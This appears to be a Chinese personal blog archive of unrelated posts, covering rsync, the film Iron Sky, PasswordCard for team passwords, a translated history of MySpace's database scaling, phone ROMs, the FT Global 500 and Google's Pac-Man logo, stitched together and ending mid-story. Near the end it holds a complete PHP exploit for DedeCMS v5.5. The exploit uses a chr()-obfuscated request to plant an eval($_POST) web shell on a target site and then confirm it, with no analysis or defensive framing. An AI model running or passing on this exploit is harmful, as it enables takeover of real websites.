rsync就是能有效的保持文件及目录的一致的优秀软件，rsync，remote synchronize

    《钢铁苍穹》自2006年就开始前期制作，不过最初仅仅是季莫·沃伦索拉的一个实验性电影，拍摄时大量使用绿幕技术，并在后期进行CG制作，就是之前部分已完成片段的效果，季莫·沃伦索拉将其放到网上接受网友及影迷检验，结果反响巨大，引起广泛关注；而在去年戛纳电影节上宣布将由德国和芬兰两国合拍，目前的进展是加拿大也已参与投资，这样，资金问题基本得以解决之后，影片将有望在9月完成前期拍摄。

去年的预告片

今年的预告片

主题曲：under the iron sky

歌词：

Iron Sky
Lyrics: Joonas Naskali

PasswordCard生成地址：https://zh.passwordcard.org （已翻译为了中文）

PasswordCard在团队工作中，相比密码管理软件和人工管理，有很大的优势。让我们想想一下在一个系统运维团队中，我们需要管理多个系统帐号的密码和授权。只有我们授权的用户，才可以得到密码。这样问题来了，在这样一个团队里，我们如何保证密码的安全呢？

我已知的方法有：

1. 在一个被保护的页面（需要登录认证）保存密码列表
2. 使用几个内定密码，不保存密码列表，定期更换
3. 将密码信息文件，储蓄在具有密码保护的储蓄设备里（如 加密USB设备）
4. 不使用密码认证，使用别的方式（SSH key的方式登录）
5. 使用LDAP服务器认证登录，集中管理授权信息

在这里，我就不比较几种方式的优劣，下面就介绍使用PasswordCard可以带来哪些好处。在一个团队中，我们可以使用一张卡片，然后在团队安全会议中，告知方向规则，方向查找规则，是密码的核心，这些都不写在任何地方，并且也可以定期更改。然后使用一个密码列表来保存密码。这里的密码，已经通过PasswordCard“加密”过，通常呈现为这样的形式：

Server IP: 192.168.1.2
User Name: root
Password: Red smile

为了获得更高的安全，我们可以把这个密码列表采用第一种方式保存（在一个被保护的页面（需要登录认证）保存密码列表） ，这样，攻击者就算获得了访问密码页面的权限，也看不懂“Red smile”是什么意思。

如果攻击者同时拿到了PasswordCard，又破解了密码页面，找到了“Red smile”的对应码（在上图中 “Red smile” 对应的是数字5），也很难猜解到我们的读取规则。前提是，读取规则不是简单的从左向右或者从上到下的简单规则。

在团队中，询问密码是一件很尴尬的事情，我们不能在公开场合念出密码，这样有可能会被别有用心的人听到。使用PasswordCard也可以避免这样的情况。

PasswordCard是一种简单，高效的团队合作密码保护机制，它的作者也许没有意识到它在团队中的作用，而只是用作个人的密码保护工具。PasswordCard相比实施度复杂的LDAP方式和SSH key方式，是比较简单，成本低，高收益的方式。

但是，其实如果知道了“Red smile”，并拿到密码卡片，其实加大了对密码穷举成功的危险，例如密码长度是6，攻击者可以围绕数字5（“Red smile”）划一个6 x 6矩阵，如果你的密码提取规则没有超过这个范围，那么使用这个矩阵中的字符来穷举，需要的的最大尝试次数就减少到了36的6次方，相比盲目穷举（字母[大小写]+数字+符号），成功率就提高了很多。

虽然自2005年早期，站点账户数超过7百万后，系统架构到目前为止保持了相对稳定，但MySpace仍然在为SQL Server支持的同时连接数等方面继续攻坚，Benedetto说，"我们已经尽可能把事情做到最好"。

里程碑一：50万账户

按Benedetto 的说法，MySpace最初的系统很小，只有两台Web服务器和一个数据库服务器。那时使用的是Dell双CPU、4G内存的系统。

单个数据库就意味着所有数据都存储在一个地方，再由两台Web服务器分担处理用户请求的工作量。但就像MySpace后来的几次底层系统修订时的情况一样，三服务器架构很快不堪重负。此后一个时期内，MySpace基本是通过添置更多Web服务器来对付用户暴增问题的。

但到在2004年早期，MySpace用户数增长到50万后，数据库服务器也已开始汗流浃背。

但和Web服务器不同，增加数据库可没那么简单。如果一个站点由多个数据库支持，设计者必须考虑的是，如何在保证数据一致性的前提下，让多个数据库分担压力。

在第二代架构中，MySpace运行在3个SQL Server数据库服务器上——一个为主，所有的新数据都向它提交，然后由它复制到其他两个；另两个全力向用户供给数据，用以在博客和个人资料栏显示。这种方式在一段时间内效果很好——只要增加数据库服务器，加大硬盘，就可以应对用户数和访问量的增加。

里程碑二：1-2百万账户

MySpace注册数到达1百万至2百万区间后，数据库服务器开始受制于I/O容量——即它们存取数据的速度。而当时才是2004年中，距离上次数据库系统调整不过数月。用户的提交请求被阻塞，就像千人乐迷要挤进只能容纳几百人的夜总会，站点开始遭遇"主要矛盾"，Benedetto说，这意味着MySpace永远都会轻度落后于用户需求。

"有人花5分钟都无法完成留言，因此用户总是抱怨说网站已经完蛋了。"他补充道。

这一次的数据库架构按照垂直分割模式设计，不同的数据库服务于站点的不同功能，如登录、用户资料和博客。于是，站点的扩展性问题看似又可以告一段落了，可以歇一阵子。

垂直分割策略利于多个数据库分担访问压力，当用户要求增加新功能时，MySpace将投入新的数据库予以支持它。账户到达2百万后，MySpace还从存储设备与数据库服务器直接交互的方式切换到SAN（Storage Area Network，存储区域网络）——用高带宽、专门设计的网络将大量磁盘存储设备连接在一起，而数据库连接到SAN。这项措施极大提升了系统性能、正常运行时间和可靠性，Benedetto说。

里程碑三：3百万账户

当用户继续增加到3百万后，垂直分割策略也开始难以为继。尽管站点的各个应用被设计得高度独立，但有些信息必须共享。在这个架构里，每个数据库必须有各自的用户表副本——MySpace授权用户的电子花名册。这就意味着一个用户注册时，该条账户记录必须在9个不同数据库上分别创建。但在个别情况下，如果其中某台数据库服务器临时不可到达，对应事务就会失败，从而造成账户非完全创建，最终导致此用户的该项服务无效。

另外一个问题是，个别应用如博客增长太快，那么专门为它服务的数据库就有巨大压力。

2004年中，MySpace面临Web开发者称之为"向上扩展"对"向外扩展"（译者注：Scale Up和Scale Out，也称硬件扩展和软件扩展）的抉择——要么扩展到更大更强、也更昂贵的服务器上，要么部署大量相对便宜的服务器来分担数据库压力。一般来说，大型站点倾向于向外扩展，因为这将让它们得以保留通过增加服务器以提升系统能力的后路。

但成功地向外扩展架构必须解决复杂的分布式计算问题，大型站点如Google、Yahoo和Amazon.com，都必须自行研发大量相关技术。以Google为例，它构建了自己的分布式文件系统。

另外，向外扩展策略还需要大量重写原来软件，以保证系统能在分布式服务器上运行。"搞不好，开发人员的所有工作都将白费"，Benedetto说。

因此，MySpace首先将重点放在了向上扩展上，花费了大约1个半月时间研究升级到32CPU服务器以管理更大数据库的问题。Benedetto说，"那时候，这个方案看似可能解决一切问题。"如稳定性，更棒的是对现有软件几乎没有改动要求。

糟糕的是，高端服务器极其昂贵，是购置同样处理能力和内存速度的多台服务器总和的很多倍。而且，站点架构师预测，从长期来看，即便是巨型数据库，最后也会不堪重负，Benedetto说，"换句话讲，只要增长趋势存在，我们最后无论如何都要走上向外扩展的道路。"

因此，MySpace最终将目光移到分布式计算架构——它在物理上分布的众多服务器，整体必须逻辑上等同于单台机器。拿数据库来说，就不能再像过去那样将应用拆分，再以不同数据库分别支持，而必须将整个站点看作一个应用。现在，数据库模型里只有一个用户表，支持博客、个人资料和其他核心功能的数据都存储在相同数据库。

既然所有的核心数据逻辑上都组织到一个数据库，那么MySpace必须找到新的办法以分担负荷——显然，运行在普通硬件上的单个数据库服务器是无能为力的。这次，不再按站点功能和应用分割数据库，MySpace开始将它的用户按每百万一组分割，然后将各组的全部数据分别存入独立的SQL Server实例。目前，MySpace的每台数据库服务器实际运行两个SQL Server实例，也就是说每台服务器服务大约2百万用户。Benedetto指出，以后还可以按照这种模式以更小粒度划分架构，从而优化负荷分担。

当然，还是有一个特殊数据库保存了所有账户的名称和密码。用户登录后，保存了他们其他数据的数据库再接管服务。特殊数据库的用户表虽然庞大，但它只负责用户登录，功能单一，所以负荷还是比较容易控制的。

里程碑四：9百万到1千7百万账户

2005年早期，账户达到9百万后，MySpace开始用Microsoft的C#编写ASP.NET程序。C#是C语言的最新派生语言，吸收了C++和Java的优点，依托于Microsoft .NET框架（Microsoft为软件组件化和分布式计算而设计的模型架构）。ASP.NET则由编写Web站点脚本的ASP技术演化而来，是Microsoft目前主推的Web站点编程环境。

可以说是立竿见影， MySpace马上就发现ASP.NET程序运行更有效率，与ColdFusion相比，完成同样任务需消耗的处理器能力更小。据技术总监Whitcomb说，新代码需要150台服务器完成的工作，如果用ColdFusion则需要246台。Benedetto还指出，性能上升的另一个原因可能是在变换软件平台，并用新语言重写代码的过程中，程序员复审并优化了一些功能流程。

最终，MySpace开始大规模迁移到ASP.NET。即便剩余的少部分ColdFusion代码，也从Cold-Fusion服务器搬到了ASP.NET，因为他们得到了BlueDragon.NET（乔治亚州阿尔法利塔New Atlanta Communications公司的产品，它能将ColdFusion代码自动重新编译到Microsoft平台）的帮助。

账户达到1千万时，MySpace再次遭遇存储瓶颈问题。SAN的引入解决了早期一些性能问题，但站点目前的要求已经开始周期性超越SAN的I/O容量——即它从磁盘存储系统读写数据的极限速度。

原因之一是每数据库1百万账户的分割策略，通常情况下的确可以将压力均分到各台服务器，但现实并非一成不变。比如第七台账户数据库上线后，仅仅7天就被塞满了，主要原因是佛罗里达一个乐队的歌迷疯狂注册。

某个数据库可能因为任何原因，在任何时候遭遇主要负荷，这时，SAN中绑定到该数据库的磁盘存储设备簇就可能过载。"SAN让磁盘I/O能力大幅提升了，但将它们绑定到特定数据库的做法是错误的。"Benedetto说。

最初，MySpace通过定期重新分配SAN中数据，以让其更为均衡的方法基本解决了这个问题，但这是一个人工过程，"大概需要两个人全职工作。"Benedetto说。

长期解决方案是迁移到虚拟存储体系上，这样，整个SAN被当作一个巨型存储池，不再要求每个磁盘为特定应用服务。MySpace目前采用了一种新型SAN设备——来自加利福尼亚州弗里蒙特的3PARdata。

在3PAR的系统里，仍能在逻辑上按容量划分数据存储，但它不再被绑定到特定磁盘或磁盘簇，而是散布于大量磁盘。这就使均分数据访问负荷成为可能。当数据库需要写入一组数据时，任何空闲磁盘都可以马上完成这项工作，而不再像以前那样阻塞在可能已经过载的磁盘阵列处。而且，因为多个磁盘都有数据副本，读取数据时，也不会使SAN的任何组件过载。

当2005年春天账户数达到1千7百万时，MySpace又启用了新的策略以减轻存储系统压力，即增加数据缓存层——位于Web服务器和数据库服务器之间，其唯一职能是在内存中建立被频繁请求数据对象的副本，如此一来，不访问数据库也可以向Web应用供给数据。换句话说，100个用户请求同一份资料，以前需要查询数据库100次，而现在只需1次，其余都可从缓存数据中获得。当然如果页面变化，缓存的数据必须从内存擦除，然后重新从数据库获取——但在此之前，数据库的压力已经大大减轻，整个站点的性能得到提升。

缓存区还为那些不需要记入数据库的数据提供了驿站，比如为跟踪用户会话而创建的临时文件——Benedetto坦言他需要在这方面补课，"我是数据库存储狂热分子，因此我总是想着将万事万物都存到数据库。"但将像会话跟踪这类的数据也存到数据库，站点将陷入泥沼。

增加缓存服务器是"一开始就应该做的事情，但我们成长太快，以致于没有时间坐下来好好研究这件事情。"Benedetto补充道。

里程碑五：2千6百万账户

2005年中期，服务账户数达到2千6百万时，MySpace切换到了还处于beta测试的SQL Server 2005。转换何太急？主流看法是2005版支持64位处理器。但Benedetto说，"这不是主要原因，尽管这也很重要；主要还是因为我们对内存的渴求。"支持64位的数据库可以管理更多内存。

更多内存就意味着更高的性能和更大的容量。原来运行32位版本的SQL Server服务器，能同时使用的内存最多只有4G。切换到64位，就好像加粗了输水管的直径。升级到SQL Server 2005和64位Windows Server 2003后，MySpace每台服务器配备了32G内存，后于2006年再次将配置标准提升到64G。

意外错误

如果没有对系统架构的历次修改与升级，MySpace根本不可能走到今天。但是，为什么系统还经常吃撑着了？很多用户抱怨的"意外错误"是怎么引起的呢？

原因之一是MySpace对Microsoft的Web技术的应用已经进入连Microsoft自己也才刚刚开始探索的领域。比如11月，超出SQL Server最大同时连接数，MySpace系统崩溃。Benedetto说，这类可能引发系统崩溃的情况大概三天才会出现一次，但仍然过于频繁了，以致惹人恼怒。一旦数据库罢工，"无论这种情况什么时候发生，未缓存的数据都不能从SQL Server获得，那么你就必然看到一个'意外错误'提示。"他解释说。

去年夏天，MySpace的Windows 2003多次自动停止服务。后来发现是操作系统一个内置功能惹的祸——预防分布式拒绝服务攻击（黑客使用很多客户机向服务器发起大量连接请求，以致服务器瘫痪）。MySpace和其他很多顶级大站点一样，肯定会经常遭受攻击，但它应该从网络级而不是依靠Windows本身的功能来解决问题——否则，大量MySpace合法用户连接时也会引起服务器反击。

"我们花了大约一个月时间寻找Windows 2003服务器自动停止的原因。"Benedetto说。最后，通过Microsoft的帮助，他们才知道该怎么通知服务器："别开枪，是友军。"

紧接着是在去年7月某个周日晚上，MySpace总部所在地洛杉矶停电，造成整个系统停运12小时。大型Web站点通常要在地理上分布配置多个数据中心以预防单点故障。本来，MySpace还有其他两个数据中心以应对突发事件，但Web服务器都依赖于部署在洛杉矶的SAN。没有洛杉矶的SAN，Web服务器除了恳求你耐心等待，不能提供任何服务。

Benedetto说，主数据中心的可靠性通过下列措施保证：可接入两张不同电网，另有后备电源和一台储备有30天燃料的发电机。但在这次事故中，不仅两张电网失效，而且在切换到备份电源的过程中，操作员烧掉了主动力线路。

2007年中，MySpace在另两个后备站点上也建设了SAN。这对分担负荷大有帮助——正常情况下，每个SAN都能负担三分之一的数据访问量。而在紧急情况下，任何一个站点都可以独立支撑整个服务，Benedetto说。

MySpace仍然在为提高稳定性奋斗，虽然很多用户表示了足够信任且能原谅偶现的错误页面。

"作为开发人员，我憎恶Bug，它太气人了。"Dan Tanner这个31岁的德克萨斯软件工程师说，他通过MySpace重新联系到了高中和大学同学。"不过，MySpace对我们的用处很大，因此我们可以原谅偶发的故障和错误。" Tanner说，如果站点某天出现故障甚至崩溃，恢复以后他还是会继续使用。

这就是为什么Drew在论坛里咆哮时，大部分用户都告诉他应该保持平静，如果等几分钟，问题就会解决的原因。Drew无法平静，他写道，"我已经两次给MySpace发邮件，而它说一小时前还是正常的，现在出了点问题……完全是一堆废话。"另一个用户回复说，"毕竟它是免费的。"Benedetto坦承100%的可靠性不是他的目标。"它不是银行，而是一个免费的服务。"他说。

换句话说，MySpace的偶发故障可能造成某人最后更新的个人资料丢失，但并不意味着网站弄丢了用户的钱财。"关键是要认识到，与保证站点性能相比，丢失少许数据的故障是可接受的。"Benedetto说。所以，MySpace甘冒丢失2分钟到2小时内任意点数据的危险，在SQL Server配置里延长了"checkpoint"操作——它将待更新数据永久记录到磁盘——的间隔时间，因为这样做可以加快数据库的运行。

Benedetto说，同样，开发人员还经常在几个小时内就完成构思、编码、测试和发布全过程。这有引入Bug的风险，但这样做可以更快实现新功能。而且，因为进行大规模真实测试不具可行性，他们的测试通常是在仅以部分活跃用户为对象，且用户对软件新功能和改进不知就里的情况下进行的。因为事实上不可能做真实的加载测试，他们做的测试通常都是针对站点。

"我们犯过大量错误，"Benedetto说，"但到头来，我认为我们做对的还是比做错的多。"

MySpace Tech Roster

January 16, 2007

By David F. Carr

我的一些思考:
看完这篇文章首先很惊讶myspace居然是基于.net平台的系统,windows2003+asp.net+IIS+SQLSERVER,虽然我是一个纯粹的MS技术者,但是对于MS的WEB应用总是有点疑虑,我的担心大概是来自于到处都在鼓吹的LAMP,我并不敌视开源,但是我承认,它给我带来了很大的压力.看了这篇文章,我有点庆幸也有点笑自己之前的迂腐,其实对于技术来说,优劣只在于开发者本身,myspace的六次重构,很好的说明了这一点.
我们常常讲分布式系统,这个概念很大,简单点说,就是把系统给拆分开来,把本来一台服务器做的事,分到两台服务器来做.如果只在一台服务器上部署两个程序来执行之前一个程序做的事,我认为那不叫分布式,也是完全没必要的,分布式的原则是"后分布"(lazy distribute),因为这本身是件损耗性能的工作,如果不能通过它来获得明显的性能提升,那为什么还要分布式?
myspace的六次重构基本都是围绕数据库来进行的,做了这么多年的WEB应用,我早就知道了数据库对于一个网站来说是多么的重要.在程序没有额外的问题的基础上,随着流量的增大,最先出现问题的,往往就是数据库.症状通常为,数据库查询/更新变的非常非常的慢,经常超时等.
这个时候,我们能做的事非常有限,无非是调整下SQLServer的内存大小,给服务器加内存换速度更快的硬盘等.如果要认真的解决这个问题,对于一般的开发者来说,都会自然的想到拆库.海量的数据查询对于SQL来说本就是不该存在的,无论你的数据库优化的多么好,比如你用的Oracle,数据吞吐量很大,难道查询100W的记录会比SQL查询1W条更快吗?拆库又分本地数据库分多个表和多个服务器分多个库,执行顺序为由前到後,当数据库的压力由海量查询变成磁盘IO之后,就需要更多的数据库服务器了.
除了硬件手段,更常用的是采用缓存.myspace直到第四次改版的后期才开始正式的引入缓存策略,这确实是个失误,如果从最开始就考虑到缓存的作用的话,那么数据库服务器至少不会膨胀的那么快,也可以有更多的时间来思考更好的架构.当然,正如Benedetto所说,这是件一开始就该考虑的事,但是myspace成长的太快了.
不是谁都有机会来为一个流量在世界上排名前10的网站来设计架构,因此myspace的后面的若干次重构,对于普通的开发者已经很难接触了,我认为,在第三个里程碑时,也就是通过服务器的横向扩展来实现的分布式,已经足够支持巨型网站的应用了.myspace是个交互型特别强的网站,用户执行的请求数会远大于一般的网站,这也是它巨大的数据库压力的来源.
最后总结一下WEB系统分布式的要点:
1.不到需要,绝对不要分布
2.分布式应该围绕数据库展开
3.分布式系统本身具有很强的扩展性,系统性能的提升和硬件的增加是线性关系.

感想写的比较乱,基本想到什么写的什么,各位看官各取所需即是.

人还是喜欢炫目的感觉，从裸机到安装N多非常炫的GUI，突然发现机器的性能不比从前了。无聊的时候跟了下机器的耗电率，发现这类让人震撼的效果都是在损耗电池的前提下。

很酷是不是？

可是刷上这新ROM后，我待机时长就剩下了一天... ...

以前随机带的rom虽然没这个炫，但是至少也是带M的。

那个rom能让我的电话待机一个星期！震撼啊！

这个对比太震惊了，在出行率高的情况下，这一点点电量却是很重要的。

所以，喜欢炫的朋友还是坚持一天一充吧，比较懒的朋友还是刷个低耗能的rom吧

英国《金融时报》今晨发布了全球五百强企业排名，中石油首次超过美国埃克森石油公司，成为全球市值最大的企业，前10强中国企业有三个。

这是《金融时报》全球五百强第十四期年度排名，也是中国企业第一次站在排名榜榜首。

根据《金融时报》研究机构的报告，截至今年3月31日，中石油当前市值达到3293亿美元，比第二名埃克森高出130多亿美元。微软名列第三，中国工商银行则以2464亿美元的市值紧随其后。

本周五，中石油股价收于每股10.96元，微涨0.37%。

五百强名单中共有21家在中国大陆上市的企业，全部为大型国有或者国有控股企业，行业涵盖金融、化工、建筑、运输等。今年上榜的中国企业总数（含港澳台）为45家，略低于去年的47家。在大陆上市的企业数也不如去年的27家。落榜企业包括上海电气、大唐国际发电、紫金矿业等去年榜单上的新秀。

前十名的企业中，除了澳大利亚矿业巨头必和必拓集团之外，全部由中美企业占据，而美国企业更是占据其中六席。

值得注意的是，榜单中的微软公司在IT类企业中排名第一，但就在本月28日，苹果的总市值超越微软，后者占据多年的全球IT老大的地位不得不拱手让出。

报告称，2010版的五百强企业总市值达23.5万亿美元，比2009年增长了一半多，如此大的增幅为近10年来仅有。

入围的企业要求有至少15%的股份在市面上流通，按照公司在各自上市交易所的总市值进行排名，未上市的股份没有计入其中。

专家观点

中石油沾了中国经济大环境的光

上午，中国石油大学工商管理学院副院长董秀成告诉本报记者，中石油登顶，其实是沾了中国经济大环境的光，欧美是金融危机重灾区，股市普遍下跌不少，因此埃克森·美孚、壳牌等公司的市值被拖累下跌，而中国抵挡住了冲击，中石油趁机超越对手。

董秀成表示，衡量企业实力，光靠市值是不够的，销售额在某些程度上更能体现一家企业的实力。

背景链接

《金融时报》五百强

英国《金融时报》是一家世界领先的商业新闻机构，拥有120多年历史，其编制的伦敦股票市场指数FTSE100指数更是欧洲三大股指之一。

《金融时报》的全球五百强是与财富五百强并称的全球权威企业排名之一。在全球各大公司今年3月31日的股价基础上制定了此排行榜。该排行榜每年公布一次，已经连续公布了14期。

入榜公司必须有最少15%股份在市场流通。与财富五百强按营业额排名的依据不同，《金融时报》全球五百强按照公司的市值排名，即市值=单位股票价格×发行股份数量。（来源：法制晚报）

附：全球前十强企业市值表

PS:分析下USA的排名情况，埃克森·美孚 美国 油气开采这个应该没什么争议了，毕竟全球遍地都是能源需求国。

重点得看：

微软 美国 IT
苹果 美国 IT
沃尔玛 美国 零售
通用电气 美国 制造业

看出点门道了，高新科技、全球垄断、连锁零售。

天朝能往这方面追吗？

http://news.163.com/10/0522/02/678N9KB50001121M.html

评论原文如下：

 其实不一定会是比人类更聪明的生物，因为人类创造生物的过程中，即便是最疯狂的科学家也不一定能做到使其脑部或者说意识结构，发育速度，沟通方式，比人类更高级，很简单，你自己都无法理解的结构是你很难主动造出来的。
但是创造出另外一种意义上强大的生物还是可能的，
比如拥有强大的自我复制或者分裂能力，以及能够适应恶劣环境并高速演化，
通过某种自身结构或者宿主结构进行种群级别的信息传递...等等
这种生物最简单的典型例子就是类似“人造儿”这样的——细菌。
这种可能性来自于生物医学领域，我们需要更强壮，更健康，于是各种微生物应运而生，丢失的肢体通过快速人造培育可以制造出来，并通过某种人造微生物群使其能与病人接合与运作，内脏可以达到人工替换。它们使我们能远离癌症等可怕疾病，强大的人造细菌群击倒癌细胞，并和宿主和谐共生，甚至让我们反应更快，跑得更快，跳得更高...等等
当然,大家应该注意到了前提是和谐共生,如果达不到呢?
细菌是在你身体内部的微生物,即便是强壮如史泰龙也不可能挥拳砸碎自己体内的有害寄生物,有一天突然发现你的腿不灵光了?放心,这其实不是什么大问题.如果不知不觉间,你的大脑实际上已经从组织级别被你的共生物所占据,这也许才是最可怕的,当它们在你的脑组织里疯狂复制,相信我,你根本不会意识到自己已经不再是自己了.
另外，即便是和谐共生，那也必须保证当宿主死亡时，人造物必须死亡，如果人造物进化，通过腐烂组织繁殖，那么——想象一下某只打过一针的白鼠，活到自然挂了之后过了几天突然在你面前跳舞，嗯哼~
人造物是有益菌抑或病毒，米迦勒或者撒旦，只在一线之间.
毕竟,谁没有过好心办坏事儿的时候?
Anyway,要阻止人类科技的发展是不可能的，科学家们创造进步总是以让全人类担负巨大危险为代价，但无可厚非，因为科学家本来就是人类这一物种渴望自我升华的强烈意志的产物，是你，我，他，所有人的潜意识代表者。
如果你今天看到这条消息突然觉得很担心，其实大可不必，因为早在几年前，LHC这玩意儿开始第一次对撞开始，我们就在冒着被它可能造成的人造黑洞“biu”地一声全吸没了的危险，那时候，你显然很可能正在床上挖鼻孔拍着键盘上163。
好了，说了这么多，看到这条新闻会不会让你觉得应该做点什么呢。
你买房了没有？
 

google每到什么较为重大的纪念日，都有修改徽标纪念的惯例，今年是吃豆人（pac—man）游戏诞生30周年，google首页今天更换了估计是第一款可玩型的Logo，整体以google的字母作为背景，整个就是一个吃豆人游戏，而以往“手气不错”的按钮，被修改成了“投入硬币”（insert  Coin），点击整个按钮，游戏就进入开始的倒计时状态。在左侧可以选择一个人玩，或者两个人玩。作为一家全球搜索巨头，作为开创logo纪念秀的开合着和坚持者，引领了全球无数网站的模仿与追随。其为一款游戏而制作、发布本次纪念logo，可见吃豆人这一游戏的发布是一次重要的历史事件，引领了一代游戏的潮流。

本着探索发现的原则，将原图抓下来后发现

没深究，估计是xhtml加JavaScript的产物。

    （引）

TX在10分钟左右就回函了，先是service.qq.com里的回复，再是邮件回复，跟着就是系统信息回复。

在这个时间里我这强劲的PC居然卡起来了，我很是怀疑当时邪恶的TX对我进行了惨无人道的围观......

注意上头的错别字，希望客服没被x了奖金。

 示意图如下：

有兴趣的朋友可以来信接洽。

只给链接，韩寒还是一向如此

挥舞着犀利的战刀，耍着炫目的太极。

更新记录: 10,6 2009 版本号: v1.0.1.0 修改了用户提示里的一个小问题,图标改成了清晰版,大小增加到17.5K.

                    11,6 2009 版本号 v1.1.0.0 增加了标题栏歌名显示及托盘双击显示/隐藏。大小17k。

                    12,21 2009 版本号 v2.0.0.0 加入可同步MSN状态，修改win7下图标模糊问题，大小23k。

                     04,25 2010 版本号 v.2.1.0 针对豆瓣电台页面进行修改，一如既往保持只有一个exe,大小23.5k。坚持提供给大家最精简最好用的电台桌面版。 

下载地址 ：http://www.whpotter.net/zuopin/doubanradio.exe

.net framework 3.5 for xp下载地址：

                  http://download.pchome.net/development/developtools/translater/detail-83171.html

<?php
print_r('
+----------------------------------------+
dedecms v5.5 final getwebshell exploit
+----------------------------------------+
');
if ($argc < 3) {
print_r('
+----------------------------------------+
Usage: php '.$argv[0].' host path
host:      target server (ip/hostname)
path:      path to dedecms
Example:
php '.$argv[0].' localhost /dedecms/
+----------------------------------------+   
');
exit;
}
error_reporting(7);
ini_set('max_execution_time', 0);
 
$host = $argv[1];
$path = $argv[2];
 
$post_a = 'plus/digg_ajax.php?id=1024e1024&*/fputs(fopen(chr(46).chr(46).chr(47).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(116).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(39).chr(120).chr(39).chr(93).chr(41).chr(59).chr(63).chr(62));/*';
$post_b = 'needCode=aa/../../../data/mysql_error_trace';
$shell = 'data/cache/t.php';
 
get_send($post_a);
post_send('plus/comments_frame.php',$post_b);
$content = post_send($shell,'t=echo tojen;');
 
if(substr($content,9,3)=='200'){
    echo "\nShell Address is:".$host.$path.$shell;
}else{
    echo "\nError.";
}
function get_send($url){
    global $host, $path;
    $message = "GET ".$path."$url  HTTP/1.1\r\n";
    $message .= "Accept: */*\r\n";
    $message .= "Referer: http://$host$path\r\n";
    $message .= "Accept-Language: zh-cn\r\n";
    $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
    $message .= "Host: $host\r\n";
    $message .= "Connection: Close\r\n\r\n";
    $fp = fsockopen($host, 80);
    if(!$fp){
        echo "\nConnect to host Error";
    }
    fputs($fp, $message);
 
    $back = '';
 
    while (!feof($fp))
        $back .= fread($fp, 1024);
    fclose($fp);
    return $back;
 
}
function post_send($url,$cmd){
 
    global $host, $path;
    $message = "POST ".$path."$url  HTTP/1.1\r\n";
    $message .= "Accept: */*\r\n";
    $message .= "Referer: http://$host$path\r\n";
    $message .= "Accept-Language: zh-cn\r\n";
    $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
    $message .= "Host: $host\r\n";
    $message .= "Content-Length: ".strlen($cmd)."\r\n";
    $message .= "Connection: Close\r\n\r\n";
    $message .= $cmd;
    $fp = fsockopen($host, 80);
    if(!$fp){
        echo "\nConnect to host Error";
    }
    fputs($fp, $message);
 
    $back = '';
 
    while (!feof($fp))
        $back .= fread($fp, 1024);
    fclose($fp);
    return $back;
}
?>

英国历史学家阿克顿（1834-1902）讲过一个分粥的故事。具体内容如下：

    有7个人组成的小团体，他们每个人都是平等的，但同时又是自私自利的。他们想通过制度创新来解决每天的吃饭问题———要在没有计量工具或有刻度的容器的状况下分食一锅粥。
大家发挥了聪明才智，试验了不同的方法。